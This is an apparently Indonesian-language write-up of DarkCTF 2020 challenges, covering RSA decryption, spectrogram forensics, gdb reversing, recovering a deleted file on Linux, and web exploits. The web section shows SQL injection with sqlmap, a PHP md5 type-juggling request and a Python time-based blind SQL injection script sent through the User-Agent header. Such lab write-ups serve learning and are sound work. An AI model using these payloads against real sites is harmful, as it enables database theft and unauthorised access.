DarkCTF 2020 Write-Up

InersIn
10 min readSep 27, 2020

DarkCTF is two day virtual hacking conference organized by DarkArmy team from ctftime, the competition is running from Fri, 25 Sept. 2020, 07:00 SCT until Sun, 27 Sept. 2020, 07:00 SCT!

(Pada challenge ini berhubung saya bermain dadakan, jadi ada satu dua challenge tidak saya solve secara manual, saya ikut bermain pada ctf ini 9 jam sebelum selesai, berhubung saya bermain sendiri, jadi waktu cukup mepet)

Misc

1. Sanity Check.

Challenge ini free flag / bisa didapatkan dengan mudah dengan me-react bot message pada channel discord DarkCTF pada #rules

kemudian tinggal mengirim pesan $flag pada category darkbot, kemudian bot akan mengirim flag melalui DM.

Flag: darkCTF{w3lc0me_t0_darkCTf_h4v3_fUn}

Cryptography

1. Pipe Rhyme

Diberikan 1 buah file yang dimana kita disuruh untuk men-decrypt RSA.

Chall:- Pipe RhymeChall Desc:- Wow you are so special.N=0x3b7c97ceb5f01f8d2095578d561cad0f22bf0e9c94eb35a9c41028247a201a6db95f
e=0x10001
ct=0x1B5358AD42B79E0471A9A8C84F5F8B947BA9CB996FA37B044F81E400F883A309B886

pertama kita decode dahulu variable variable N,e dan ct karena ter-encode sebagai hex

N=1763350599372172240188600248087473321738860115540927328389207609428163138985769311
e=65537
ct=810005773870709891389047844710609951449521418582816465831855191640857602960242822

setelah didecode kita cari hasil kali bilangan prima dari N, disini saya menggunakan factordb untuk menemukan value dari p dan q

p=31415926535897932384626433832795028841
q=56129192858827520816193436882886842322337671

Sekarang kita cari “phi”yang dimana adalah hasil kali p dan q yang sudah dikurang satu.

phi = (p-1)*(q-1)
phi = (31415926535897932384626433832795028841-1)*(5612919285882752081619343688288684232233767101)
phi = 1763350599372172240188600248087473321682730891266173271675081787918842463868402800

Kemudian saya menggunakan library python untuk melakukan inverse.

from Crypto.Util.number import inverse

Sekarang kita lakukan inverse e dan phi lalu simpan ke variable d untuk mendecrypt cipher text

d=inverse(e, phi)
m=pow(ct,d,N)
hex(m)
results:0x6461726b4354467b34763069445f7573316e67675f70315f7072316d65737d

lalu kita decrypt dengan syntax xxd

dan kita mendapatkan flagnya.

Flag: darkCTF{4v0iD_us1ngg_p1_pr1mes}

Forensics

1. AW

Di challenge ini kita diberikan video file, nama filenya adalah “Spectre.mp4” jadi saya berpikir mungkin ini ada hubungannya dengan spectrume sepecrti pada ctf sebelumnya, jadi setelah saya download filenya, saya coba extract audio video tersebut kemudian saya buka di Sonic Visualizer.

Sekilas diperhatikan tidak ada apa-apa, disini saya tambahkan layer spectogram

kita ubah warna dan yang lain-lain pada bar sebelah kanan, dan jika kita zoom akan terlihat sangat jelas flagnya.

Tinggal kita tulis dan berhasil mendapatkan flagnya.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}

Reversing

1. so_much

Pada challenge ini diberikan sebuah file executable, disini saya langsung menjalankan programnya

disini program membutuhkan sebuah argument jadi saya memasukan string “testest”, saya coba menggunakan ltrace dan strace tidak ada yang menarik menurut saya, lalu saya kembali teringat dengan deskripsi challenge yang mengatakan “strcmp” dan “printf”, jadi saya berpikir mungkin program melakukan strcmp terhadap flag, jadi saya membuka program ini menggunakan gdb.

Benar saja disana terdapat beberapa hal yang menarik, terutama function get_flag dan strcmp terdapat di sana sesuai deskripsi challenge, jadi saya langsung memasang breakpoints pada saat program memanggil strcmp

disini langsung terlihat kalimat menarik yang menyerupai flag yang kita inginkan, dan ternyata itu memang flagnya.

Flag: darkCTF{w0w_s0_m4ny_funct10ns}

Linux

1. linux starter

Disini kita hanya disuruh konek ke server menggunakan ssh

setelah konek saya hanya melihat-lihat hal yang menurut saya menarik

sepertinya disini ada yang iseng dengan menaruh dummy flag, disini saya mencoba memeriksa beberapa direcroty disana, dan jika kalian melihat pada directory imp

disini terdapat flag yang asli, entah ini bisa dikategorikan sebagai free flag.

Flag: darkCTF{h0pe_y0u_used_intended_w4y}

2. Find-Me

Pada challenge ini kita diminta untuk me-recovery file yang tidak sengaja hilang, sebenarynya saya pun tidak tau caranya, tapi setelah saya cari tau ternyata cukup mudah. Setelah konek menggunakan ssh, saya menggunakan “lsof” untuk mengecek ada file apa saja yang sedang dibuka/digunakan dalam process, lebih lengkap baca disini.

setelah saya perhatikan pada tampilan diatas, sayang kembali ingat kita di disuruh untuk me-recovery file yang terhapus secara tidak sengaja, dan disana hanya ada satu file yang bertuliskan “(deleted)”, jadi saya coba membuka process yang sedang menggunakan/membuka file tersebut.

Ternyata file tersebut belum benar-benar terhapus, selanjutnya saya copy dan saya cat file tersebut.

Saat saya melihat beberapa directory saya sadar kalau ada lagi satu user dalam satu machine, jadi kemungkinan text tersebut bukanlah flag menlainkan password untuk user tersebut, disini saya menggunakan

su -l wolf2

dan kita berhasil login sebagai user berbeda, kemudia kembali saya melihat-lihat directory, dan kebetulan dengan mudah saya menemukan flagnya di directory “proc/g”

disini flagnya ada pada bagian bawah, dan flagnya di reverse

kita pun mendapatkan flagnya.

Flag: darkCTF{w0ahh_n1c3_w0rk!!!}

Web

1. Apache Logs

Disini kita diberikan sebuah file zip yang berisikan http logs yang mencoba melakukan sql injection, dan kita diberikan tugas untuk mencari tau methode yang dipakai dalam format flag pada http logs itu, disini saya langsung membuka file tersebut dan saya sudah curiga terhadap string yang encode sebagai url, jadi saya meng-grep semua string yang berisikan %

seperti ini dan saya mendecode string tersebut menggunakan python

dan terdapat syntax sql, disini saya tetap menggunakan python untuk mendecodenya.

dan kita pun mendapatkan flagnya.

Flag: DarkCTF{5ql_1nj3ct10n}

2. Simple_SQL

http://simplesql.darkarmy.xyz/

Mari kita buka link yang diberikan

tampilannya hanya hitam, tapi jika kita melihat page source-nya terdapat pesan yang menyeruh kita untuk menggunakan id sebagai parameter

sebagai berikut contohnya:

http://simplesql.darkarmy.xyz/index.php?id=*

jika kita isi id=1, data yang tampil…

jika kita isi id=2…

dan seterusnya, jadi disini saya menggunakan bash untuk mendapatkan flagnya, berikut syntaxnya

for x in {0..100};do curl "simplesql.darkarmy.xyz/index.php?id=$x" | grep Username;done

dan kita pun mendapatkan flagnya.

Flag: darkCTF{it_is_very_easy_to_find}

3. So_Simple

Pada challenge ini saya tidak melakukannya secara manual, disini saya menggunakan sqlmap, langsung saja.

disini sama seperti sebelumnya, kita diminta memasukan id sebagai parameter, jika kita isi id=1 begini tampilannya…

jika kita isi tanda kutip pada akhir url…

http://web.darkarmy.xyz:30001/index.php?id=1'
You have an error in your SQL syntax; check the  manual that corresponds to your MySQL server version for the right  syntax to use near ''1'' LIMIT 0,1' at line 1

muncul sql error.

Langsung kita masukan ke sqlmap, pertama kita cari dulu database apa saja yang terdapat pada web, saya yakin target kita disini adalah untuk mengambil flagnya pada table user atau table yang lain pada database web.

Kita mendapatkan result 5 database tersedia pada server

available databases [5]:                                                                                                                                                                                                                  
[*] id14831952_security
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

dari nama database kita sudah tau jika “id14831952_security” adalah database target kita, saya langsung dump all data pada database tersebut

dan kita pun mendapatkan flagnya

Database: id14831952_security                                                                                                                                                                                                             
Table: users
[9 entries]
+----------+-----------------------------------+---------------+
| id | password | username |
+----------+-----------------------------------+---------------+
| 1 | Try | LOL |
| 2 | another | Try |
| 3 | p@ssword | fake |
| 4 | dont try to hack | its secure |
| 5 | easy | not |
| 6 | my database | dont read |
| 7 | new | try to think |
| 8 | darkCTF{this_is_not_a_flag} | admin |
| 56465219 | darkCTF{uniqu3_ide4_t0_find_fl4g} | flag |
+----------+-----------------------------------+---------------+

dan jika kita masukan id flag tersebut menjadi value id=56465219 beginilah tampilan web nya

Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}

4. PHP Information

Pada challenge ini cukup menarik, karena kesalahan pada challenge ini cukup banyak dilakukan oleh web developer pemula.

Saya langsu buka linknya dan diberikan tampilan sebagai berikut

<!DOCTYPE html> 
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Corona Web</title>
</head>
<body>


<style>
body{
background-color: whitesmoke
}
</style>
<?php

include "flag.php";

echo show_source("index.php");


if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['darkctf'])){
$darkctf = $res['darkctf'];
}
}

if ($darkctf === "2020"){
echo "<h1 style='color: chartreuse;'>Flag : $flag</h1></br>";
}

if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){
echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1></br>";
}


if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['ctf2020'])){
$ctf2020 = $res['ctf2020'];
}
if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){
echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1></br>";

}
}



if (isset($_GET['karma']) and isset($_GET['2020'])) {
if ($_GET['karma'] != $_GET['2020'])
if (md5($_GET['karma']) == md5($_GET['2020']))
echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>";
else
echo "<h1 style='color: chartreuse;'>Wrong</h1></br>";
}



?>
</body>
</html> 1

disini kita diminta untuk bisa membypass setiap comparison untuk bisa mendapatkan flagnya, saya tidak akan menjelaskan terlalu jauh karena akan sangat panjang, yang jelas disini kita hanya perlu memasukan data yang diminta dan harus bisa membypass md5 comparison, disini yang buat susah adalah md5 comparison, disini kita hanya perlu menggunakan methode php juggling, berikut htt requests yang saya gunakan untuk mendapatkan flagnya, silahkan dipahami sendiri.

GET /index.php?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma[]=[]&2020[]=0e54321 HTTP/1.1
Host: php.darkarmy.xyz:7001
User-Agent: 2020_the_best_year_corona
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __cfduid=d0bc2a2c6f64d7e52d18c3476fc9b82791600053627
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

5. Agent-U

Pada challenge ini kita diminta untuk melakukan sql injection, tapi tidak seperti biasanya, tapi lewat User-Agent, jika kita buka link tersebut, berikut tampilannya

disini kita diminta untuk menggunakan default creds admin:admin sebagai username dan password untuk login, tapi tidak terjadi apa apa, jadi saya kembali ingat dengan nama challenge ini yang agak familiar, yang ternyata itu adalah User-Agent.

Saya membuka link tersebut menggunakan BurpSuite agar memudahkan dalam memanipulasi http requests.

Begini tampilan web saat memberikan response normal

dan saat saya memberikan tanda kutip pada User-Agent, berikut tampilannya

web memberikan response sql error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '172.69.69.218', 'admin')' at line 1

setelah sekian lama saya mencoba akhirnya saya sadar kalau ini memungkinkan untuk menggunakan methode Time Based Injection, berikut contoh injection pada user agent:

time pojok kanan bawa

disini web memberikan response sleep selama 3 detik sesuai syntax yang saya berikan, jadi disini saya membuat python script untuk melakukan nya secara otomatis berikut scriptnya

#!/usr/bin/env python3import requests
import time
import json
http_proxy = "http://127.0.0.1:8080"proxyDict = {
"http" : http_proxy,
}
alpha = [chr(x) for x in range(0x61,0x7b)]
for x in range(0,10):
alpha.append(str(x))
alpha.append("_")
req = requests.Session()
data = {"uname":"admin","passwd":"admin","submit":"Submit"}
for x in range(1,35):
for c in alpha:
st=time.time()
headers = {"User-Agent":f"tes',IF(MID(DATABASE(),{x},1) = '{c}', SLEEP(3), 0),'inersin')-- -"}
req.post("http://agent.darkarmy.xyz/",data=data,timeout=10, headers=headers)
if int(time.time()-st) >= 3:
print(c)
break

disini saya menggunakan sleep 3 detik, lama sleep tergantung jaringan masing-masing, dan program berjalan cukup lama karena program mencari char tiap char dan sleep selama 3 deting sebanyak 34 character, dan berikut resultnya

dan kita pun mendapatkan flagnya tinggal disesuaikan dengan format flag.

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}

(Jika ada yang ingin ditanyakan silahkan komentar)

--

--

InersIn

PARSECT // IT Security Enthusiast // STOICISM // KEEP DO SOMETHING LEGAL